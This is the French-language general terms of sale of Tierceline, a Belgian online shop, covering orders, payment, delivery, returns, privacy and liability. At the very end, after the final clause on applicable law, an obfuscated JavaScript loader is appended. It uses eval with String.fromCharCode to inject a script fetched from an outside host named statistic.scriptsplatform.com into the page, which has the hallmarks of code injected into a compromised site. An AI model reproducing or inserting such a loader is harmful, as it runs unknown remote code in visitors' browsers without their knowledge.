Validation de la commande

Conditions générales de vente

1. DESCRIPTION

 1.1 Les présentes Conditions Générales de Vente (ci-après les « CGV ») définissent les droits et obligations des parties dans le cadre de la vente de produits (ci-après les « produits »), via le site internet www.tierceline.com (ci-après dénommé le « site »). Les présentes CG régissent toute vente de produits réalisée sur le site.

1.2. Les CGV sont conclues entre, d’une part, Tierceline, société individuelle, inscrite à la Banque Carrefour des Entreprises de Belgique depuis le 01/01/2020 sous le numéro 0739.509.489 , ci-après dénommée le « vendeur » et, d’autre part, la personne souhaitant consulter le site et y effectuer un achat, ci-après dénommée l’« acheteur ». L’acheteur et le vendeur sont ci-après conjointement dénommés les « parties ». Les parties conviennent que leurs relations seront régies exclusivement par les CGV à l’exclusion de toutes conditions préalablement disponibles sur le site.

1.3 Toute commande d’un produit proposé sur le site (ci-après la « commande ») suppose la consultation préalable et l’acceptation expresse des CGV par l’acheteur sans toutefois que cette acceptation soit conditionnée par une signature manuscrite de la part de l’acheteur. Conformément aux dispositions de la loi du 9 juillet 2001 fixant certaines règles relatives au cadre juridique pour les signatures électroniques et les services de certification, il est rappelé que la validation du bon de commande constitue une signature électronique qui a, entre les parties, la même valeur qu’une signature manuscrite et vaut preuve de l’intégralité de la commande et de l’exigibilité des sommes dues en exécution de ladite commande.

1.4 Les CGV ne concernent à titre exclusif que les acheteurs, personnes physiques non commerçantes. L’acheteur qui souhaite acheter un produit sur le site déclare avoir la pleine capacité juridique. Toute personne frappée d’incapacité au sens de l’article 1123 et suivants du Code Civil, ne peut en aucune façon acheter sur le site, ou doit le faire par l’intermédiaire, et sous la responsabilité de son représentant légal. Ce représentant légal est tenu de respecter les CGV.

2. LES PRODUITS EN VENTE

2.1. Les produits proposés à la vente sont ceux qui figurent sur le site, avec une description de leurs caractéristiques essentielles, au jour et au moment précis de la consultation du site par l’acheteur, et dans la limite des stocks disponibles. Le vendeur met tous les moyens raisonnables en œuvre pour afficher la disponibilité des produits en temps réel sur le site mais ne pourrait être tenu responsable si un produit n’était plus disponible pour honorer la commande effectuée par l’acheteur. En cas d’indisponibilité de l’un des produits commandés, l’acheteur en sera informé, et aura la possibilité, soit de modifier sa commande, soit de l’annuler, auquel cas il sera remboursé du montant de sa commande s’il en a déjà effectué le paiement.

2.2 Les photographies, les textes et autres éléments descriptifs illustrant les produits n’entrent pas dans le champ contractuel. Si ces photographies et/ou textes présentaient un caractère erroné, la responsabilité du vendeur ne pourrait pas être engagée de ce chef. Celui-ci s’engage à fournir ses meilleurs efforts pour corriger le plus rapidement possible les erreurs ou omissions après en avoir été informé.

3. PRIX DE VENTE DES PRODUITS AFFICHES

3.1 Le prix de chaque produit est affiché sur le site (ci-après le « prix d’achat ») en euros et TVA comprise. Ce prix est valable dans les pays pour lesquels la livraison est possible sur le site, et n’inclut pas les frais de livraison, également à charge de l’acheteur, ni la déduction de toute remise ou bon d’achat accordé à l’acheteur à titre personnel. Le vendeur se réserve le droit de modifier ses prix à tout moment, mais les produits seront facturés sur la base du prix d’achat en vigueur au moment de la validation de la commande, et sous réserve des disponibilités.

3.2 Lors de la commande, l’acheteur s’engage à payer, outre le prix d’achat des produits commandés, les frais de livraison (ci-après les « frais »). Ces frais varient en fonction du type et de la quantité de produits commandés, et du mode de livraison choisi, et s’entendent TVA comprise. L’acheteur peut consulter le montant de ces frais sur le site en consultant son « Panier », où s’affiche un calcul du montant total correspondant au prix d’achat des produits et aux frais. Le vendeur se réserve le droit de modifier le montant des frais à tout moment, mais les frais seront facturés sur la base des tarifs en vigueur au moment de la validation de la commande, et sous réserve des disponibilités. Ces frais restent dus et ne seront pas remboursés si l’acheteur retourne la totalité ou une partie de la commande en vertu de son droit de rétractation.

3.3 Les produits sont uniquement livrés dans les pays pour lesquels le site autorise la livraison. Les acheteurs désirant se faire livrer dans un des pays autorisés mais sur une île de ces pays se verront facturer un supplément de livraison. Toute adresse de livraison erronée est de la responsabilité de l’acheteur et peut donner lieu à des frais supplémentaires. Les délais de livraison indiqués ne sont pas contraignants mais sont donnés à titre purement indicatif. Aucun retard dans la livraison ne pourra donner lieu à résiliation de la commande ou au paiement de dommages au profit de l’acheteur. Le vendeur a le droit d’effectuer des livraisons partielles. En cas de non livraison des biens, les sommes éventuellement payées par l’acheteur seront remboursées sans intérêts ni autre forme d’indemnisation.

4. MODALITES DE COMMANDE

4.1 Pour effectuer une commande, l’acheteur doit remplir le formulaire de commande mis à sa disposition sur le site, sur lequel il fera notamment figurer les informations nécessaires à son identification et notamment ses nom, prénom et adresse de livraison. Le vendeur ne peut être tenu responsable des conséquences de la communication d’informations erronées. Après avoir rempli le formulaire de commande, l’acheteur est invité à clôturer le processus de commande, en cliquant sur « Valider ma commande », par lequel l’acheteur déclare accepter pleinement et sans réserve l’intégralité des présentes CGV, valide définitivement sa commande et s’engage à payer l’intégralité du montant total dû, soit le prix d’achat, augmenté des frais, et diminué de bons d’achat éventuels.

4.2 Le vendeur confirmera chaque commande par l’envoi d’un e-mail à l’acheteur à l’adresse e-mail indiquée par l’acheteur lors de son affiliation (ci-après la « confirmation de commande »). Cette confirmation de commande mentionnera notamment la date de commande, le produit commandé, son prix d’achat, augmenté des frais, et les modalités de livraison. Les données enregistrées par le vendeur, ainsi que la confirmation de commande constitueront la preuve des relations contractuelles intervenues entre les parties.

4.3 Le vendeur se réserve le droit de refuser ou d’annuler toute commande ou toute livraison en cas de litige existant avec l’acheteur, non paiement total ou partiel d’une commande précédente ou refus d’autorisation de paiement par carte de crédit des organismes bancaires. Dans ce cas, la responsabilité du vendeur ne pourrait, en aucun cas, être engagée.

5. MODALITES DE PAIEMENT

5.1 Le paiement des achats s’effectue via Paypal par carte de crédit de type Visa ou Mastercard et par cartes bancaires de type “Maestro” et “Bancontact – Mistercash”. Lors de la validation de la commande, l’utilisateur indique le nom qui figure sur sa carte de crédit ou de banque, le numéro de la carte, sa date d’expiration (et le numéro de contrôle dans le cas d’une Visa et/ou Mastercard). Certains organismes bancaires émetteurs peuvent demander une signature supplémentaire de type digipass. La validité du paiement est confirmée ou non après vérification par l’organisme bancaire émetteur. Si le paiement est confirmé, le prélèvement intervient, après la facturation de la commande, selon les modalités convenues avec l’organisme bancaire émetteur de la carte.

5.2 Le(s) produit(s) commandé(s) demeure(nt) la propriété du vendeur jusqu’au complet paiement du prix d’achat et des frais indiqués lors de la commande.

6. LIVRAISONS

6.1 La livraison est effectuée par le vendeur dans le monde entier (les taxes quelconques et frais à l’import sont à charge de l’acheteur).

Pour les pays étrangers non repris dans la liste des destinations, l’acheteur peut contacter le vendeur à l’adresse hello@tierceline.com pour connaître les frais de livraison applicables.

6.2 La commande est livrée à l’adresse indiquée par l’acheteur. Les commandes sont prises en charge par Bpost en Belgique et Bpost International pour les autres pays.

6.3 Lors de la livraison, une facture de vente est remise à l’utilisateur.

6.4 Pour une livraison en Belgique, le vendeur mettra tout en œuvre pour que la commande soit expédiée à l’adresse de livraison endéans les 3 jours ouvrables suivant la validation de la commande et la réception du paiement. Le livreur se présentera à cette adresse entre 8h et 18h, les jours ouvrables, et remettra le ou les colis au destinataire ou à toute autre personne présente à l’adresse indiquée. En cas d’absence, un avis sera laissé à l’adresse de livraison. Il appartiendra alors à l’utilisateur de contacter le livreur pour convenir soit d’une nouvelle date de livraison à la même adresse, soit d’une nouvelle date de livraison à une nouvelle adresse, soit d’un enlèvement au bureau de la Poste le plus proche. A défaut de ce faire dans un délai de 15 jours à dater de l’avis laissé par le livreur ou si l’utilisateur est absent lors de la nouvelle livraison, la commande sera automatiquement retournée au vendeur, qui prendra contact avec l’utilisateur pour programmer une nouvelle livraison de la commande. Dans ce cas, des frais supplémentaires de livraison pourront être facturés à l’utilisateur.

6.5 Pour une livraison en dehors de la Belgique, le vendeur mettra tout en œuvre pour que la commande soit livrée endéans les 15 jours suivants la validation de la commande. Les modalités de livraison seront propres aux services postaux du pays concerné.

6.6 Le délai de livraison indiqué ne l’est qu’à titre indicatif. Son irrespect ne créera aucun droit à des dommages et intérêts dans le chef de l’utilisateur.

6.7 Le transfert des risques à l’utilisateur se fait au moment où les produits commandés sont mis à la disposition du livreur. La preuve de cette mise à disposition sera matérialisée par le système de contrôle utilisé par le livreur.

6.8 Il appartient à l’utilisateur de vérifier les expéditions à l’arrivée et de formuler toutes réserves et réclamations qui apparaîtraient justifiées, voire même de refuser le colis, si celui-ci est susceptible d’avoir été ouvert ou s’il porte des traces manifestes de détérioration. S’il y a quelconque réclamations suite à la réception de la commande, il est de rigueur d’envoyer un mail à l’adresse hello@tierceline.com, sujet “Réclamation de livraison”, avec 3 photos à l’appui, tout ceci endéans les 48h après réception de la commande.

7. DROIT DE RETRACTION ET MODALITES DE RETOUR

7.1 Si le(s) produit(s) acheté(s) sur le site ne convien(nen)t pas à l’acheteur, celui-ci dispose d’un délai de quatorze (14) jours calendrier, à compter du lendemain du jour de la livraison, pour renoncer à son achat sans pénalité et sans indication de motifs, conformément au code de droit économique belge.

7.2 L’acheteur joint dans son envoi le formulaire de retour/de rétractation dûment complété (adresse, numéro de compte pour le remboursement, etc.). Le retour au vendeur s’effectuera à l’adresse suivante, sauf instructions contraires communiquées à l’acheteur, par tout moyen de transport au choix de l’acheteur, qui doit en conserver la preuve d’expédition:

ADRESSE DU RETOUR

7.3.Tous frais et risques liés à l’expédition du retour des articles sont à la charge de l’utilisateur.

7.4 Si l’acheteur souhaite un échange au lieu d’un remboursement, il en informe le vendeur dans le formulaire de retour et/ou par e-mail. Le vendeur lui communiquera, outre la disponibilité de l’article, le supplément à payer ou le remboursement partiel le cas échéant. Les frais d’envoi du nouvel article seront à charge de l’acheteur.

7.5 En cas d’utilisation de son droit de rétractation par l’acheteur dans le délai précité et du renvoi du/des produit(s) , le vendeur s’engage à rembourser le prix d’achat à l’acheteur, pour autant que celui-ci ait déjà été payé, au plus tard à la réception du (des) produit(s) par le vendeur.

7.7 Le vendeur remboursera l’acheteur sur le numéro de compte communiqué par celui-ci dans le formulaire de retour.

7.8 L’utilisateur ne pourra faire usage de son droit de rétractation et/ou d’échange si le(s) produit(s) livré(s) a (ont) manifestement fait l’objet d’un usage a (ont) été endommagé(s), comporte(nt) des pièces manquantes, ou dont l’(les) étiquette(s) a(ont) été retirée(s).

7.9 Le(s) produit(s) doit(vent) impérativement être retourné(s) correctement protégé(s), dans son(leur) emballage d’origine, dans un parfait état de revente (non abîmés, endommagés ou salis par le client) accompagné(s) de tous accessoires éventuels, notice d’emploi, étiquette(s) du (des) vêtement(s) intacte(s) et attachée(s), etc. à l’adresse indiquée. A défaut, ils ne pourront être repris ou échangés.

7.10 Ne pourront également être repris ou échangés, le(s) produit(s) pour lesquels aucun élément joint ne permet d’identifier l’expéditeur (n° de retour, n° commande, nom, prénom, adresse). Le(s) produit(s) renvoyés mais ne pouvant être acceptés en retour par le vendeur sont tenus à la disposition de l’utilisateur chez le vendeur. L’utilisateur reste tenu d’en payer le prix. En cas de retours anormaux ou abusifs, le vendeur se réserve le droit de refuser une commande ultérieure.

7.11 Enfin, les produits confectionnés sur-mesure ou personnalisés ne pourront en aucun cas être repris ou échangés.

8. PROTECTION DE LA VIE PRIVEE A L’EGARD DES DONNEES PERSONNELLES DES UTILISATEURS

8.1 Le vendeur collecte des données à caractère personnel concernant les acheteurs, lesquelles lui sont communiquées sur le site ou par e-mail. Il s’engage à ne pas divulguer ces données à des tiers. Celles-ci sont confidentielles. Elles ne seront utilisées par ses services internes que pour le traitement des commandes, dans le but de renforcer et de personnaliser la communication, notamment par des lettres/e-mails d’information ainsi que dans le cadre de la personnalisation du site en fonction des préférences constatées des acheteurs, ou pour le suivi de la solvabilité.

8.2 Le vendeur ne vend donc pas, ne commercialise pas, et ne loue pas à des tiers les informations concernant les acheteurs. En cas de cession ou d’utilisation par des tiers de données à caractère personnel, le vendeur s’engage au préalable à informer l’acheteur a n de lui permettre d’exercer son droit d’opposition. Le vendeur peut également fournir des statistiques consolidées relatives à ses acheteurs, à ses ventes, à la structure des échanges et aux informations sur le site à des tiers de confiance, mais ces statistiques ne contiendront aucune donnée personnelle. Le présent article ne pourra toutefois empêcher la cession ni le transfert d’activités à un tiers.

9. RESPONSABILITE

9.1. Le vendeur ne contracte que des obligations de moyen, pour toutes les étapes d’accès au site, de la commande, à la livraison ou à des services postérieurs. La responsabilité du vendeur ne pourrait être engagée pour tous les inconvénients ou dommages inhérents à l’utilisation du réseau Internet, notamment une rupture du service, une intrusion extérieure ou la présence de virus informatiques, ou de tout fait pouvant être qualifié de force majeure. En toute hypothèse, la responsabilité du vendeur aux termes des présentes CG ne pourra excéder une somme égale aux sommes payées ou payables lors de la transaction à l’origine de ladite responsabilité, quelle que soit la cause ou la forme de l’action concernée.

9.2 Le vendeur ne peut être tenu pour responsable des cas de force majeure tels un retard dans l’exécution ou pour la non exécution de ses engagements du fait d’événements échappant à son contrôle normal, en ce compris les interruptions de production, difficultés d’approvisionnement ou pénuries de matières premières, main d’œuvre, énergie ou transport, ou retards dans le transport, grèves, lock-out, interruptions de travail ou autres litiges de travail collectifs qui l’affectent ou affectent ses fournisseurs, et cela même si ces événements étaient prévisibles.

10. PROPRIETE INTELLECTUELLE

Tous les éléments du site, qu’ils soient visuels ou sonores, y compris la technologie sous- jacente, sont protégés par le droit d’auteur, des marques ou des brevets et plus généralement par la propriété intellectuelle ainsi que par la loi relative aux bases de données. Ils sont la propriété exclusive du vendeur. L’acheteur qui dispose d’un site Internet à titre personnel et qui désire placer, pour un usage personnel, sur son propre site un lien simple renvoyant directement sur le site, doit obligatoirement en demander l’autorisation au vendeur. Il ne s’agira pas dans ce cas d’une convention implicite d’affiliation. En revanche, tout lien hypertexte renvoyant au site et utilisant la technique du framing ou du in-line ou deep linking est formellement interdit. Dans tous les cas, tout lien, même tacitement autorisé, devra être retiré sur simple demande du vendeur.

11. CONTACT AVEC LE VENDEUR

En cas de questions sur son achat, l’acheteur a la possibilité de rentrer en contact avec le vendeur au moyen de l’adresse e-mail hello@tierceline.com.
Le vendeur s’engage à répondre à la demande de l’acheteur dans les plus brefs délais.

12. NULLITE ET INTEGRALITE

Si une ou plusieurs stipulations des CGV sont tenues pour non-valides ou déclarées comme telles en application d’une loi, d’un règlement ou à la suite d’une décision définitive d’une juridiction compétente, les autres stipulations garderont toute leur force et leur portée. Les CGV et le récapitulatif de commande transmis à l’acheteur forment un ensemble contractuel et constituent l’intégralité des relations contractuelles intervenues entre les parties. En cas de contradiction entre ces documents, les CGV prévaudront.

13. VALIDITE DES CGV CI PRESENTES

Les présentes conditions générales de ventes s’appliquent pendant toute la durée de mise en ligne des services offerts par le vendeur.

14. PREUVE

Les registres informatisés, conservés dans les systèmes informatiques du vendeur et de ses partenaires dans des conditions raisonnables de sécurité, seront considérés comme les preuves des communications, des commandes et des paiements intervenus entre les parties. Les parties acceptent dans le cadre de leurs relations le principe de la preuve électronique (par exemple : e- mail, backups, etc).

15. MODIFICATIONS

Le vendeur se réserve le droit de modifier les CGV et communiquera la nouvelle version aux acheteurs via le site.

16. DROIT APPLICABLE ET TRIBUNAUX COMPETENTS

Les présentes CGV sont soumises à la loi belge. En cas de litige, une solution à l’amiable sera recherchée avant toute action judiciaire. A défaut de règlement à l’amiable, les tribunaux de l’arrondissement judiciaire de Bruxelles seront seuls compétents.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/